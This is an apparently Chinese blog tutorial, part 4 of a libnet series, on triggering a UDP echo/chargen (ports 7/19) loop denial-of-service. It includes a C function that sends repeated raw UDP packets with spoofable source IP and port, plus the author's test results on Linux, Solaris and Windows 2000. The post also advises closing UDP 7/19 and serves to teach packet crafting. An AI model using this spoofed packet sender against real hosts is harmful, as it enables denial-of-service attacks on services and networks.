利用7/19等端口形成无限循环进而达到DoS目的。我用./linuxkiller -q lo -o 0x44 在linux上观察到了这种无限循环,用top命令查看,可以看到inetd进程CPU占用率高 达96.0%,因为7/19都是由inetd亲自处理的,注意这里并没有fork出另外一个inetd, 实际DoS已经相当有效。至于Solaris,用 /usr/sbin/snoop -x 42 udp and host 192.168.10.2 and port 7 并没有观察到无限循环,可能和snoop对lo0设备的支持不好,加之Solaris本身不带 top(碰巧实验机器也没有装GNU的),我无法确认无限循环是否成立。 下面给一个UDP报文发送器例子,可以指定发送UDP报文的数量,同时允许指定srcIp、 srcPort、dstIp、dstPort等等,同样提供随机化源IP、源端口的功能。只需要介入 raw_socket即可。 与syn-flood相比,libnet_build_ip()指定IP数据区长度为UDP头长度(固定为8字节) 加上UDP数据区长度,上层协议为IPPROTO_UDP。这次需要调用如下函数构造UDP头: int libnet_build_udp ( u_short sport, u_short dport, const u_char * payload, int payload_s, u_char * buf ); UDP没有类似IP、TCP头部那样的选项数据区,这里的payload和前面那两个函数的 payload意义不同,这里的payload指向UDP数据区,payload_s对应UDP数据区长度, UDP报头里有一个域对应整个UDP报文(包括UDP头)长度,与IP、TCP不同。最后一个形 参需要指向一个已分配好的数据区,UDP头从该指针开始。 还是调用 libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALEN ); 计算UDP报文校验和,包括头部和数据区。所以必须在数据区构造完毕后调用该函数, 否则校验和错误。UDP校验和是可选的,如果设置成零表示不校验。我们做校验。 程序实在是没有意思,给个函数片段算了,利用UDP报文发送器进行DoS攻击的确恶心, 闲得没事还是关闭UDP 7/19吧,TCP 7/19稍微好点,想想为什么。 -------------------------------------------------------------------------- void udpSend ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, u_long udpNumber ) { u_long s; /* 构造IP头 */ libnet_build_ip( LIBNET_UDP_H + SCZUDPDATALEN, /* IP数据区长度 */ IPTOS_LOWDELAY, /* IP tos */ ( u_short )random(), /* IP ID */ 0, /* frag stuff */ 255, /* TTL */ IPPROTO_UDP, /* 上层协议 */ srcIp, /* big-endian序 */ dstIp, /* 目标IP */ NULL, /* 无选项 */ 0, /* 选项长度零 */ packet ); /* 指向IP头 */ for ( s = 0; s < udpNumber; s++ ) { /* 构造UDP头 */ libnet_build_udp( srcPort, /* 源端口 */ dstPort, /* 目标端口 */ packet + LIBNET_IP_H + LIBNET_UDP_H, /* payload */ SCZUDPDATALEN, /* payload length */ packet + LIBNET_IP_H ); // 这里必须意识到,计算UDP校验和应该发生在UDP数据区构造完毕之后 // 我们目的特殊,UDP数据区已经提前构造完毕了 /* 计算UDP校验和,IP校验和由内核亲自计算 */ Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALEN ); /* 发送UDP报文 */ Libnet_write_ip( rawSocket, packet, packet_size ); // 这个输出很耗费时间,如果不是调试用,应该去掉 // fprintf( stderr, "." ); } /* end of for */ return; } /* end of udpSend */ -------------------------------------------------------------------------- 后来在Solaris上装了GNU top之后,没有发现类似Linux那样CPU占用率激增的现象, 由于snoop对lo0设备的支持不是很好,无法通过协议分析软件观察无限循环是否成立。 估计是没有形成。而Linux默认UDP 7/19是关闭的,Solaris默认打开却又无效,sigh。 对2K测试也没有什么效果。 |
libnet使用举例(4)
最新推荐文章于 2022-05-12 15:14:42 发布